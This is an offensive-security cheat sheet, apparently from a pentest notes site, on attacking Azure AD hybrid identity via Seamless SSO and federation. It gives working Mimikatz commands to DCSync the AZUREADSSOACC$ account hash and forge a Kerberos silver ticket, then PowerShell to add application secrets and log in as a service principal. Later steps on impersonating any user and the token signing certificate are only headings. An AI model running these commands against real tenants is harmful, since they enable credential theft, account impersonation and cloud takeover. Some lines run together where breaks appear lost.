Hybrid identity - Seamless SSO
Steps:
1) Obtain NTLM hash of AZUREADSSOC Account
Invoke-Mimikatz -Command '"lsadump::dcsync /user:<DOMAIN>\azureadssoacc$ /domain:<DOMAIN> /dc:<DC NAME>"'2) Create a Silver Ticket
Invoke-Mimikatz -Command '"kerberos::golden /user:<USERNAME> /sid:<SID> /id:1108 /domain:<DOMAIN> /rc4:<HASH> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'3) Add credentials to Enterprise Applications
. .\Add-AzADAppSecret.ps1
Add-AzADAppSecret -GraphToken $graphtoken -Verbose4) Authenticate as a Service Principal using the secret
$password = ConvertTo-SecureString '<SECRET>' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('<ACCOUNT ID>', $password)
Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant <TENANT ID>5) Check resource accessible to the service principal
6) Federation
7) Obtain the immutable ID of the user you want to impersonate
8) Access ANY cloud app as the user
9) Token Signing Certificate
10) Update the certificate information with Azure AD
Last updated